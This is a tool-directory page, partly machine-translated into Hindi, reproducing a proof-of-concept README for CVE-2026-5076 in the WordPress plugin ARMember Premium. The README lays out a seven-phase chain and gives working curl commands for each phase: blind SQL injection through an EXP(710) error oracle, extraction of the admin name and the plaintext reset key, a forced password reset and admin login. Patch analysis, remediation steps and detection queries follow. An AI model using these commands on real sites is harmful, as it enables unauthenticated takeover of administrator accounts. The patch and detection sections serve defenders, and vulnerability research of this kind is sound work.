Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-5076 — CVE-2026-5076 के लिए साक्ष्य-अवधारणा शोषण जो ARMember Premium में SQL injection और plaintext पासवर्ड रीसेट कुंजी भंडारण के माध्यम से अप्रमाणित व्यवस्थापक खाता अधिग्रहण प्रदर्शित करता है। | Kitploit
उपकरण/GitHubGitHub/zycoder0day/cve-2026-5076
पासवर्ड हमलेभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगप्रमाणीकरण
GitHubzycoder0day/cve-2026-5076

CVE-2026-5076

CVE-2026-5076 के लिए साक्ष्य-अवधारणा शोषण जो ARMember Premium में SQL injection और plaintext पासवर्ड रीसेट कुंजी भंडारण के माध्यम से अप्रमाणित व्यवस्थापक खाता अधिग्रहण प्रदर्शित करता है।

रिपॉजिटरी देखें
2 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

☠️ CVE-2026-5076

ARMember Premium <= 7.3.1

असुरक्षित पासवर्ड रीसेट तंत्र → पूर्ण व्यवस्थापक खाता अधिग्रहण

प्लेनटेक्स्ट पासवर्ड रीसेट कुंजियाँ डेटाबेस में संग्रहीत + SQL इंजेक्शन = पूर्ण व्यवस्थापक अधिग्रहण


📋 भेद्यता जानकारी

आइटमविवरण
CVE IDCVE-2026-5076
प्लगइनARMember – सदस्यता प्लगइन और सामग्री प्रतिबंध
प्रभावित संस्करणPremium <= 7.3.1
पैच किया गया संस्करण7.3.2
CVSS स्कोर9.8 गंभीर
CWECWE-640: कमजोर पासवर्ड पुनर्प्राप्ति
प्रकारअसुरक्षित पासवर्ड रीसेट तंत्र → प्लेनटेक्स्ट कुंजी भंडारण
आक्रमण वेक्टरनेटवर्क / रिमोट / बिना प्रमाणीकरण (SQLi श्रृंखला के माध्यम से)
सक्रिय स्थापनाएँ30,000+ (प्रीमियम)
खोजकर्ताWordfence Threat Intelligence
प्रकाशन तिथि3 जून 2026

संबंधित CVE (समान सलाह)

CVEप्रकारगंभीरता
CVE-2026-5076असुरक्षित पासवर्ड रीसेट — प्लेनटेक्स्ट कुंजी भंडारण

🎯 सारांश

वर्डप्रेस प्लगइन ARMember Premium <= 7.3.1 में तीन गंभीर कमजोरियाँ, जिन्हें एक साथ जोड़ने पर बिना प्रमाणीकरण के पूर्ण व्यवस्थापक खाता अधिग्रहण संभव होता है:

  1. CVE-2026-5076 — पासवर्ड रीसेट कुंजी wp_usermeta (arm_reset_password_key) में प्लेनटेक्स्ट में संग्रहीत होती है, वर्डप्रेस मानक के अनुसार हैश नहीं की जाती
  2. CVE-2026-5073 — AJAX हैंडलर arm_directory_paging_action() में order पैरामीटर पर SQL इंजेक्शन
  3. CVE-2026-5074 — AJAX हैंडलर arm_directory_paging_action() में filter पैरामीटर पर SQL इंजेक्शन

CVE-2026-5076 का प्रत्यक्ष परिणाम: डेटाबेस तक पढ़ने की पहुँच रखने वाला कोई भी व्यक्ति (SQLi, बैकअप एक्सपोज़र आदि के माध्यम से) पासवर्ड रीसेट कुंजी को प्लेनटेक्स्ट में पढ़ सकता है और सीधे किसी भी खाते का पासवर्ड रीसेट कर सकता है — बिना क्रैकिंग की आवश्यकता।


🔬 तकनीकी विश्लेषण

मूल कारण #1: प्लेनटेक्स्ट कुंजी भंडारण (CVE-2026-5076)

वर्डप्रेस मानक पासवर्ड रीसेट कुंजी को user_activation_key कॉलम में hashed रूप में wp_hash() का उपयोग करके संग्रहीत करता है। ARMember उसी कुंजी की एक प्रति wp_usermeta में meta_key arm_reset_password_key के साथ संग्रहीत करता है — लेकिन PLAINTEXT रूप में:```php // FILE: armember-membership/core/class.arm_member_forms.php // Fungsi: arm_lost_password_action()

// WordPress menyimpan HASHED key (aman) $key = wp_generate_password(20, false); $wp_key = $wpdb->get_var( $wpdb->prepare("SELECT user_activation_key FROM $wpdb->users WHERE user_login=%s", $user_login) );

// ARMember menyimpan PLAINTEXT key (VULNERABLE!) update_user_meta($user_id, 'arm_reset_password_key', $wp_key); // ^^^^^^ // Ini adalah key ASLI yang bisa langsung dipakai

root@kitploit:~
**गंभीर समस्या**: `$wp_key` यहाँ `wp_generate_password(20, false)` द्वारा उत्पन्न की गई key है — 20 अल्फ़ान्यूमेरिक वर्ण। WordPress इस key को `user_activation_key` में संग्रहीत करने से पहले हैश करता है, लेकिन ARMember इसे **हैश करने से पहले** संग्रहीत करता है या एक अलग प्रतिलिपि संग्रहीत करता है जो **हैश नहीं की गई** है।

### मूल कारण #2: कुंजी स्थिरता बग

जब `get_password_reset_key()` कहा जाता है (WordPress कोर), तो एक नई key उत्पन्न और हैश की जाती है। लेकिन यह फ़ंक्शन `arm_reset_password_key` को **अपडेट नहीं करता**:```php
// WordPress core: get_password_reset_key($user)
// - Generate key baru
// - Hash key → simpan di user_activation_key
// - Return key plaintext
// - TAPI: arm_reset_password_key TIDAK diupdate!

परिणामस्वरूप, पुरानी प्लेनटेक्स्ट कुंजी हमेशा के लिए संग्रहीत रहती है arm_reset_password_key में, भले ही उपयोगकर्ता पासवर्ड रीसेट कर ले। इस कुंजी का बार-बार उपयोग किया जा सकता है जब तक कि मेटा कुंजी को स्पष्ट रूप से हटा नहीं दिया जाता।

मूल कारण #3: SQL Injection (CVE-2026-5073/5074)

AJAX हैंडलर arm_directory_paging_action() में arm_check_user_cap() के माध्यम से nonce जांच होती है, लेकिन पैरामीटर order और filter सीधे SQL क्वेरी में बिना सैनिटाइजेशन के पहुंच जाते हैं:```php // FILE: armember-membership/core/class.arm_member_forms.php // Fungsi: arm_directory_paging_action()

// Nonce check (dibutuhkan nonce valid) $nonce_check = $this->arm_check_user_cap();

// ORDER BY injection — langsung ke SQL tanpa sanitasi! $orderby = "u.{$arm_member} {$order_dir}"; // $order_dir dari $_POST['order'] → LANGSUNG ke ORDER BY

// WHERE injection via filter if (!empty($filter)) { $where .= " AND " . $filter; // ← LANGSUNG concatenation! }

root@kitploit:~
**ORDER BY का शोषण**: पैरामीटर `order` को SQL के `ORDER BY` क्लॉज में डाला जाता है। चूंकि कोई सैनिटाइज़ेशन नहीं है, हमलावर subquery inject कर सकता है:```sql
-- Payload SQLi via parameter order
ORDER BY u.ID ASC, IF(COND, 1, EXP(710))

-- COND = TRUE  → IF returns 1 → ORDER BY 1 → response normal (besar)
-- COND = FALSE → IF returns EXP(710) → MySQL overflow ERROR → response 90B

Oracle यह network latency के प्रति प्रतिरक्षित है क्योंकि यह TRUE/FALSE को error बनाम success के आधार पर अलग करता है, न कि प्रतिक्रिया समय के आधार पर।


⛓️ हमला श्रृंखला रोडमैप```

╔══════════════════════════════════════════════════════════════════════════════════╗ ║ CVE-2026-5076 FULL CHAIN ATTACK ROADMAP ║ ║ ARMember Premium <= 7.3.1 → Unauthenticated Admin Takeover ║ ╚══════════════════════════════════════════════════════════════════════════════════╝

┌─────────────────────────────────────────────────────────────────────────────────┐ │ PHASE 1: RECONNAISSANCE │ │ "Identifikasi target, versi, dan attack surface" │ ├─────────────────────────────────────────────────────────────────────────────────┤ │ │ │ 1a. Deteksi ARMember │ │ ├─ GET / → cari string: "arm_", "armember", "ARMember" │ │ ├─ GET /wp-json/ → cari armember di response │ │ ├─ Cookie: arm_* indicates ARMember active │ │ └─ Version fingerprint: arm_css_version, arm_js_version │ │ │ │ 1b. Temukan Directory Page (MUST have arm_directory_form_container) │ │ ├─ Method 1: WP Search → GET /?s=members → parse links │ │ │ └─ Filter: skip /feed/, /rss2/, .xml, /atom/ │ │ ├─ Method 2: Direct Path Probe → /directory/, /members/, /community/ │ │ ├─ Method 3: Sitemap → /sitemap.xml → parse URLs │ │ └─ Method 4: REST API → /wp-json/wp/v2/pages → search ARM shortcode │ │ │ │ 1c. Ekstrak nonce + template_id (BERPASANGAN di form yang sama) │ │ ├─

│ │ │ ├─ │ │ │ └─ │ │ └─ Nonce = wp_create_nonce('arm_wp_nonce') — tied to session │ │ └─ Bukan per-template_id, tapi per-user session │ │ │ │ OUTPUT: nonce, template_id, version, directory_url │ └──────────────┬──────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────────────────┐ │ PHASE 2: SQL INJECTION │ │ "Konfirmasi SQLi via error-based boolean oracle" │ ├─────────────────────────────────────────────────────────────────────────────────┤ │ │ │ 2a. Kirim AJAX request dengan nonce + template_id │ │ POST /wp-admin/admin-ajax.php │ │ action=arm_directory_paging_action │ │ arm_wp_nonce= │ │ template_id= │ │ type=directory │ │ order=ASC │ │ │ │ 2b. Error-Based Boolean Oracle (IMMUNE LATENCY!) │ │ ├─ TRUE: order=ASC,IF(1=1,1,EXP(710)) → response ~10KB (normal) │ │ ├─ FALSE: order=ASC,IF(1=2,1,EXP(710)) → response ~90B (EXP overflow) │ │ └─ Delta: ~100x — tidak terpengaruh network jitter │ │ │ │ 2c. Kenapa EXP(710)? │ │ ├─ EXP(710) → MySQL double overflow → ERROR │ │ ├─ Error = response body ~90B (cepat, konsisten) │ │ └─ Lebih reliable daripada SLEEP-based oracle di site lambat │ │ │ │ 2d. Oracle Alternatif (untuk site tanpa error output) │ │ ├─ Time-based: IF(COND, SLEEP(3), u.ID) │ │ │ ├─ TRUE = slow (SLEEP), FALSE = fast (ORDER BY ID) │ │ │ └─ Rentan terhadap network latency, baseline shifting │ │ └─ 3-State: IF(COND, SLEEP(N), u.ID) vs baseline │ │ ├─ TRUE = slow + big response │ │ ├─ FALSE = fast + big response (ORDER BY valid ID) │ │ └─ ERROR = fast + small response (ORDER BY 0) │ │ │ │ OUTPUT: sqli_confirmed, sz_true, sz_false, oracle_type │ └──────────────┬──────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────────────────┐ │ PHASE 3: DATABASE ENUMERATION │ │ "Ekstrak table prefix, admin user, dan metadata" │ ├─────────────────────────────────────────────────────────────────────────────────┤ │ │ │ 3a. Deteksi Table Prefix (CRITICAL — prefix non-standard umum!) │ │ ├─ Method 1: INFORMATION_SCHEMA (paling reliable) │ │ │ ├─ (SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES │ │ │ │ WHERE TABLE_SCHEMA=DATABASE() AND TABLE_NAME LIKE '%users' │ │ │ │ LIMIT 1) IS NOT NULL │ │ │ └─ Ekstrak prefix: SUBSTRING(TABLE_NAME,1,LENGTH-5) │ │ ├─ Method 2: Brute-force prefix │ │ │ └─ wp_, wordpress_, wp_2_, site_, db_, blog_, web_ │ │ └─ Method 3: Per-row oracle via alias u/um │ │ └─ Main query sudah JOIN wp_users u, wp_usermeta um │ │ └─ Tapi TABLE NAME di subquery = prefix + "users" │ │ │ │ 3b. Ekstrak Admin User (4-Method Fallback) │ │ ├─ Method 1: wp_capabilities LIKE '%administrator%' │ │ │ └─ SELECT user_login FROM PREFIX_users WHERE ID= │ │ │ (SELECT user_id FROM PREFIX_usermeta │ │ │ WHERE meta_key='PREFIX_capabilities' │ │ │ AND meta_value LIKE '%administrator%' LIMIT 1) │ │ ├─ Method 2: wp_user_level = '10' │ │ │ └─ Meta key PREFIX_user_level dengan value '10' │ │ ├─ Method 3: Per-row um alias for capabilities │ │ │ └─ um.meta_key='PREFIX_capabilities' AND um.meta_value LIKE '%admin%' │ │ └─ Method 4: First user fallback (ORDER BY ID LIMIT 1) │ │ └─ Pada site kecil, user pertama = admin │ │ │ │ 3c. Ekstrak Admin Email │ │ └─ SELECT user_email FROM PREFIX_users WHERE user_login='ADMIN' │ │ │ │ 3d. Cek arm_reset_password_key Feature │ │ ├─ (SELECT COUNT(*) FROM PREFIX_usermeta │ │ │ WHERE meta_key='arm_reset_password_key') > 0 │ │ ├─ Jika FALSE → fitur tidak ada (v4.x) atau belum ada reset │ │ └─ Jika TRUE tapi 0 values → fitur ada, perlu trigger (Phase 4) │ │ │ │ OUTPUT: prefix, admin_login, admin_email, arm_key_feature_exists │ └──────────────┬──────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────────────────┐ │ PHASE 4: PASSWORD RESET TRIGGER │ │ "Paksa target menyimpan plaintext key di database" │ ├─────────────────────────────────────────────────────────────────────────────────┤ │ │ │ 4a. ARMember Forgot-Password (SET arm_reset_password_key = PLAINTEXT) │ │ ├─ POST /wp-admin/admin-ajax.php │ │ │ action=arm_lost_password │ │ │ arm_wp_nonce= │ │ │ user_login=<ADMIN_LOGIN> │ │ ├─ Hasil: arm_reset_password_key = plaintext 20-char key │ │ └─ Masalah: banyak site return "0" (action tidak terdaftar) │ │ │ │ 4b. WordPress Standard Lostpassword (SET user_activation_key = HASHED) │ │ ├─ POST /wp-login.php?action=lostpassword │ │ │ user_login=<ADMIN_LOGIN> │ │ │ wp-submit=Get New Password │ │ ├─ Hasil: user_activation_key = hashed key (TIDAK bisa dipakai langsung) │ │ └─ Email terkirim ke admin (jika mail server aktif) │ │ │ │ 4c. WP Lostpassword via Email │ │ └─ Jika user_login gagal, coba dengan admin_email │ │ │ │ 4d. Verifikasi Key Tersimpan (via SQLi) │ │ ├─ Cek arm_reset_password_key (PLAINTEXT — CVE-2026-5076) │ │ │ └─ (SELECT meta_value FROM PREFIX_usermeta │ │ │ WHERE meta_key='arm_reset_password_key' │ │ │ AND user_id=ADMIN_ID LIMIT 1) │ │ └─ Cek user_activation_key (HASHED — fallback) │ │ └─ LENGTH((SELECT user_activation_key FROM PREFIX_users │ │ WHERE user_login='ADMIN')) > 0 │ │ │ │ ⚠️ PENTING: WP lostpassword TIDAK menghasilkan arm_reset_password_key! │ │ Hanya form forgot-password ARMember yang menyimpan plaintext key. │ │ Versi < 5.x TIDAK memiliki fitur arm_reset_password_key sama sekali. │ │ │ │ OUTPUT: arm_reset_password_key (plaintext) atau user_activation_key (hashed) │ └──────────────┬──────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────────────────┐ │ PHASE 5: KEY EXTRACTION │ │ "Baca plaintext password reset key dari database via SQLi" │ ├─────────────────────────────────────────────────────────────────────────────────┤ │ │ │ 5a. Ekstrak arm_reset_password_key (CVE-2026-5076 — PLAINTEXT!) │ │ ├─ Binary search per-karakter via SQLi: │ │ │ ┌──────────────────────────────────────────────────────┐ │ │ │ │ Char 1: SUBSTRING(meta_value,1,1) > 'M' ? │ │ │ │ │ Char 1: SUBSTRING(meta_value,1,1) > 'T' ? │ │ │ │ │ ...binary search converges... │ │ │ │ │ Char 1 = 'X' ✓ │ │ │ │ │ Char 2: SUBSTRING(meta_value,2,1) > 'a' ? │ │ │ │ │ ...repeat for 20 characters... │ │ │ │ └──────────────────────────────────────────────────────┘ │ │ ├─ Key length: 20 karakter alfanumerik (wp_generate_password(20, false)) │ │ └─ Extraction time: ~7 queries × 20 chars = ~140 requests │ │ │ │ 5b. Fallback: Ekstrak user_activation_key (HASHED — tidak langsung pakai) │ │ └─ Format: hash keluaran wp_hash() — perlu cracking atau bypass │ │ │ │ 5c. Key Persistence (BUG KRITIS!) │ │ ├─ get_password_reset_key() TIDAK update arm_reset_password_key │ │ ├─ Key plaintext TETAP ADA meskipun user sudah reset password │ │ └─ Key bisa dipakai BERULANG KALI sampai meta key dihapus │ │ │ │ OUTPUT: arm_key (plaintext 20-char) atau hashed_key (fallback) │ └──────────────┬──────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────────────────┐ │ PHASE 6: PASSWORD RESET │ │ "Gunakan plaintext key untuk reset password admin" │ ├─────────────────────────────────────────────────────────────────────────────────┤ │ │ │ 6a. ARMember Reset Endpoint (armrp) │ │ ├─ GET /?armrp=true&key=<PLAINTEXT_KEY>&login=<ADMIN_LOGIN> │ │ ├─ ARMember memverifikasi key PLAINTEXT vs database PLAINTEXT │ │ │ └─ String comparison — BUKAN hash comparison! │ │ ├─ Jika match → tampilkan form reset password │ │ └─ Endpoint ini adalah GET request (bukan AJAX) — bisa diakses langsung │ │ │ │ 6b. WordPress Standard Reset (wp-login.php) │ │ ├─ GET /wp-login.php?action=rp&key=&login=<ADMIN_LOGIN> │ │ ├─ WordPress memverifikasi key HASHED — plaintext key TIDAK berfungsi │ │ └─ Hanya berguna jika key dari user_activation_key (hashed) │ │ │ │ 6c. Submit Password Baru │ │ ├─ POST ke form reset dengan password baru │ │ └─ Password baru ter-set → akun berhasil di-takeover │ │ │ │ OUTPUT: new_password, reset_confirmed │ └──────────────┬──────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────────────────┐ │ PHASE 7: VALIDATION │ │ "Verifikasi akses admin penuh" │ ├─────────────────────────────────────────────────────────────────────────────────┤ │ │ │ 7a. Login WordPress Standard │ │ ├─ POST /wp-login.php │ │ │ log=<ADMIN_LOGIN> │ │ │ pwd=<NEW_PASSWORD> │ │ └─ Redirect ke /wp-admin/ → dashboard accessible │ │ │ │ 7b. Login ARMember AJAX │ │ ├─ POST /wp-admin/admin-ajax.php │ │ │ action=arm_ajax_login │ │ │ arm_wp_nonce= │ │ │ username=<ADMIN_LOGIN> │ │ │ password=<NEW_PASSWORD> │ │ └─ Response berisi user data + redirect URL │ │ │ │ 7c. Verifikasi Dashboard Access │ │ └─ GET /wp-admin/ → 200 OK + admin menu visible │ │ │ │ ╔═══════════════════════════════════════════════════════════╗ │ │ ║ ✓ FULL CHAIN EXPLOITED ║ │ │ ║ Target: target.com ║ │ │ ║ User: admin ║ │ │ ║ Password: <new_password> ║ │ │ ║ Access: Full Administrator ║ │ │ ╚═══════════════════════════════════════════════════════════╝ │ │ │ │ OUTPUT: login_confirmed, dashboard_accessible │ └─────────────────────────────────────────────────────────────────────────────────┘

root@kitploit:~
---

## 💻 प्रूफ ऑफ कॉन्सेप्ट

### आवश्यक शर्तें

- लक्ष्य **ARMember Premium <= 7.3.1** चला रहा है
- लक्ष्य के पास सार्वजनिक रूप से उपलब्ध **directory page** है (nonce + template_id के लिए)
- **>= 5.x** संस्करण `arm_reset_password_key` सुविधा के लिए (v4.x में यह सुविधा नहीं है)

### न्यूनतम PoC — चरण दर चरण```bash
# ═══════════════════════════════════════════════════════
# PHASE 1: RECONNAISSANCE
# ═══════════════════════════════════════════════════════

# Step 1a: Deteksi ARMember version
curl -s https://target.com/ | grep -oP 'arm_css_version["\s:=]+\K[0-9.]+'

# Step 1b: Temukan directory page
curl -s "https://target.com/?s=members" | \
  grep -oP 'href="(https?://[^"]+(?:member|directory)[^"]*)"' | \
  head -5

# Step 1c: Ekstrak nonce + template_id dari directory page
curl -s https://target.com/directory/ | \
  grep -oP 'arm_wp_nonce.*?value="[^"]*"' | head -1
curl -s https://target.com/directory/ | \
  grep -oP 'template_id.*?value="[^"]*"' | head -1


# ═══════════════════════════════════════════════════════
# PHASE 2: SQL INJECTION CONFIRMATION
# ═══════════════════════════════════════════════════════

# Step 2a: Konfirmasi SQLi dengan error-based oracle
# TRUE condition → response besar (~10KB)
curl -s -o /dev/null -w "%{size_download}" \
  -d "action=arm_directory_paging_action&arm_wp_nonce=NONCE&template_id=TID&type=directory&order=ASC,IF(1=1,1,EXP(710))" \
  https://target.com/wp-admin/admin-ajax.php

# FALSE condition → response kecil (~90B, MySQL error)
curl -s -o /dev/null -w "%{size_download}" \
  -d "action=arm_directory_paging_action&arm_wp_nonce=NONCE&template_id=TID&type=directory&order=ASC,IF(1=2,1,EXP(710))" \
  https://target.com/wp-admin/admin-ajax.php

# Jika TRUE ≠ FALSE → SQLi CONFIRMED


# ═══════════════════════════════════════════════════════
# PHASE 3: DATABASE ENUMERATION
# ═══════════════════════════════════════════════════════

# Step 3a: Deteksi table prefix via INFORMATION_SCHEMA
# Test: apakah prefix wp_ ?
curl -s -o /dev/null -w "%{size_download}" \
  -d "action=arm_directory_paging_action&arm_wp_nonce=NONCE&template_id=TID&type=directory&order=ASC,IF((SELECT COUNT(*) FROM wp_users)>0,1,EXP(710))" \
  https://target.com/wp-admin/admin-ajax.php
# Jika response besar → prefix = wp_
# Jika response kecil → coba prefix lain

# Step 3b: Ekstrak admin user_login (binary search)
# Contoh: karakter pertama > 'a' ?
curl -s -o /dev/null -w "%{size_download}" \
  -d "action=...&order=ASC,IF(SUBSTRING((SELECT user_login FROM wp_users WHERE ID=1),1,1)>'a',1,EXP(710))" \
  https://target.com/wp-admin/admin-ajax.php
# Repeat binary search per karakter...

# Step 3c: Cek apakah arm_reset_password_key ada
curl -s -o /dev/null -w "%{size_download}" \
  -d "action=...&order=ASC,IF((SELECT COUNT(*) FROM wp_usermeta WHERE meta_key='arm_reset_password_key')>0,1,EXP(710))" \
  https://target.com/wp-admin/admin-ajax.php


# ═══════════════════════════════════════════════════════
# PHASE 4: TRIGGER PASSWORD RESET
# ═══════════════════════════════════════════════════════

# Step 4a: Trigger ARMember forgot-password (SET arm_reset_password_key)
curl -s -X POST \
  -d "action=arm_lost_password&arm_wp_nonce=NONCE&user_login=ADMIN_LOGIN" \
  https://target.com/wp-admin/admin-ajax.php

# Step 4b: Fallback — WordPress standard lostpassword
curl -s -X POST \
  -d "user_login=ADMIN_LOGIN&redirect_to=&wp-submit=Get+New+Password" \
  https://target.com/wp-login.php?action=lostpassword


# ═══════════════════════════════════════════════════════
# PHASE 5: EXTRACT PLAINTEXT KEY (CVE-2026-5076)
# ═══════════════════════════════════════════════════════

# Step 5a: Baca arm_reset_password_key dari database via SQLi
# Binary search karakter per karakter
# Karakter 1 > 'M' ?
curl -s -o /dev/null -w "%{size_download}" \
  -d "action=...&order=ASC,IF(SUBSTRING((SELECT meta_value FROM wp_usermeta WHERE meta_key='arm_reset_password_key' AND user_id=1),1,1)>'M',1,EXP(710))" \
  https://target.com/wp-admin/admin-ajax.php

# ... repeat untuk 20 karakter ...
# Hasil: PLAINTEXT KEY berhasil diekstrak


# ═══════════════════════════════════════════════════════
# PHASE 6: RESET PASSWORD
# ═══════════════════════════════════════════════════════

# Step 6a: Akses ARMember reset endpoint dengan plaintext key
curl -v "https://target.com/?armrp=true&key=<EXTRACTED_KEY>&login=admin"

# Jika key match → form reset password ditampilkan!
# Step 6b: Submit password baru
curl -s -X POST \
  -d "pass1=NewPassword123!&pass2=NewPassword123!&key=<EXTRACTED_KEY>&login=admin" \
  "https://target.com/?armrp=true"


# ═══════════════════════════════════════════════════════
# PHASE 7: VALIDATE LOGIN
# ═══════════════════════════════════════════════════════

# Step 7a: Login dengan password baru
curl -v -X POST \
  -d "log=admin&pwd=NewPassword123!&wp-submit=Log+In" \
  https://target.com/wp-login.php

# Step 7b: Verifikasi dashboard access
curl -s -L -c cookies.txt \
  -d "log=admin&pwd=NewPassword123!&wp-submit=Log+In" \
  https://target.com/wp-login.php && \
curl -s -b cookies.txt https://target.com/wp-admin/ | \
  grep "Dashboard"

🔧 पैच विश्लेषण (v7.3.2)

संस्करण 7.3.2 में सुधार तीनों CVE को संबोधित करते हैं:

Patch CVE-2026-5076 (Plaintext Key)```php

// VULNERABLE (<=7.3.1) update_user_meta($user_id, 'arm_reset_password_key', $wp_key); // plaintext key ^^^^^^^

// PATCHED (7.3.2) $hashed_key = wp_hash($wp_key); update_user_meta($user_id, 'arm_reset_password_key', $hashed_key); // hashed key ^^^^^^^^^^^

root@kitploit:~
- Key sekarang disimpan dalam bentuk **hashed** menggunakan `wp_hash()`
- Verifikasi key menggunakan `wp_check_password()` atau hash comparison
- Key lama yang sudah plaintext harus dihapus manual

### Patch CVE-2026-5073 (ORDER BY SQLi)```php
// VULNERABLE (<=7.3.1)
$orderby = "u.{$arm_member} {$order_dir}";
//                       ^^^^^^^^^^ langsung dari user input

// PATCHED (7.3.2)
$allowed_orders = array('ASC', 'DESC', 'asc', 'desc');
if (!in_array($order_dir, $allowed_orders, true)) {
    $order_dir = 'ASC';
}
$orderby = "u.{$arm_member} {$order_dir}";

पैच CVE-2026-5074 (WHERE SQLi)```php

// VULNERABLE (<=7.3.1) $where .= " AND " . $filter; // ^^^^^^^ langsung concatenation

// PATCHED (7.3.2) // Filter parameter removed from user input entirely // Filtering now handled server-side with prepared statements

root@kitploit:~
---

## 🛡️ उपचार

### तत्काल कदम

1. **ARMember Premium** को संस्करण **7.3.2** या उससे नए में अपडेट करें
2. **डेटाबेस में मौजूद सभी `arm_reset_password_key`** को हटा दें:   ```sql
   DELETE FROM wp_usermeta WHERE meta_key = 'arm_reset_password_key';
  1. सभी एडमिन पासवर्ड रीसेट करें — पुरानी प्लेनटेक्स्ट कुंजी संभवतः समझौता हो चुकी है
  2. यूज़र खातों का ऑडिट करें — अज्ञात एडमिनिस्ट्रेटर खातों की जाँच करें
  3. डायरेक्टरी पेज तक पहुँच सीमित करें — सुनिश्चित करें कि केवल प्रमाणित उपयोगकर्ता ही पहुँच सकें

समझौता संकेतक पहचानना```sql

-- Cek apakah ada arm_reset_password_key (indikasi exploit) SELECT user_id, meta_value FROM wp_usermeta WHERE meta_key = 'arm_reset_password_key' AND meta_value != '';

-- Cek login mencurigakan SELECT * FROM wp_users WHERE user_activation_key != '' AND user_modified > DATE_SUB(NOW(), INTERVAL 7 DAY);

root@kitploit:~
### अपडेट के बिना शमन

- **मेटा कुंजी हटाएं** `arm_reset_password_key` क्रॉन के माध्यम से नियमित रूप से
- **अक्षम करें** ARMember forgot-password फॉर्म (केवल WP मानक का उपयोग करें)
- **पहुंच सीमित करें** निर्देशिका पृष्ठ तक (लॉगिन आवश्यक)
- **WAF लागू करें** जो `arm_directory_paging_action` पर SQLi पैटर्न को ब्लॉक करता है

---

## 🧩 हमले के परिदृश्य

### परिदृश्य A: क्लासिक पूर्ण श्रृंखला (सभी CVEs संयुक्त)```
Attacker discovers directory page → extracts nonce+tid → 
SQLi to read arm_reset_password_key (plaintext) → 
uses armrp endpoint to reset admin password → 
logs in as admin

आवश्यकता: ARMember v5.x+ with forgot-password triggered by real user

परिदृश्य B: SQLi + WP Lostpassword Hybrid```

Attacker discovers directory page → extracts nonce+tid → SQLi to extract admin_login + admin_email → triggers WP lostpassword → email sent → SQLi to read user_activation_key (hashed) → CRACK the hash offline → reset password via wp-login.php

root@kitploit:~
**Requires**: Site with working mail server, hash cracking capability

### Scenario C: Database Backup Exposure```
Attacker finds exposed database backup (.sql, .zip, .tar.gz) →
grep for arm_reset_password_key → 
obtain plaintext keys → 
use armrp endpoint to reset passwords

आवश्यकता: एक्सपोज़्ड बैकअप, SQLi की आवश्यकता नहीं

परिदृश्य D: Compromised Admin + Lateral Movement```

Attacker gains admin via CVE-2022-1903 or other vector → reads arm_reset_password_key for ALL users → resets passwords for other admin accounts → persists access even if original vulnerability is patched

root@kitploit:~
**आवश्यकता है**: किसी भी वेक्टर के माध्यम से प्रारंभिक व्यवस्थापक पहुंच

---

## ⚠️ अस्वीकरण

यह टूल और दस्तावेज़ केवल **स्पष्ट अनुमति के साथ वैध सुरक्षा परीक्षण** के लिए है। बिना अधिकार के उन प्रणालियों पर उपयोग करना जो आपकी नहीं हैं या बिना लिखित अनुमति के **अवैध** है। लेखक दुरुपयोग के लिए जिम्मेदार नहीं है।

---

## 📚 संदर्भ

- [Wordfence Advisory — CVE-2026-5076](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/armember-membership/armember-premium-731-insecure-password-reset-mechanism)
- [Wordfence Advisory — CVE-2026-5073](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/armember-membership/armember-premium-731-unauthenticated-sql-injection)
- [Wordfence Advisory — CVE-2026-5074](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/armember-membership/armember-premium-731-unauthenticated-sql-injection-2)
- [ARMember Plugin Repository](https://wordpress.org/plugins/armember-membership/)
- [WordPress Password Reset Mechanism](https://developer.wordpress.org/reference/functions/get_password_reset_key/)
- [CWE-640: Weak Password Recovery Mechanism](https://cwe.mitre.org/data/definitions/640.html)

---

<div align="center">

![](https://img.shields.io/badge/Made%20with-%E2%9D%A4-red?style=flat-square)
![](https://img.shields.io/badge/For-Educational%20Purpose-blue?style=flat-square)

कॉपीराइट © 2026 **XENON1337**

विशेष धन्यवाद: **ENDANG**

</div>
टूल डाउनलोड करें
9.8 गंभीर
CVE-2026-5073बिना प्रमाणीकरण SQL इंजेक्शन (ORDER BY)9.8 गंभीर
CVE-2026-5074बिना प्रमाणीकरण SQL इंजेक्शन (WHERE)9.8 गंभीर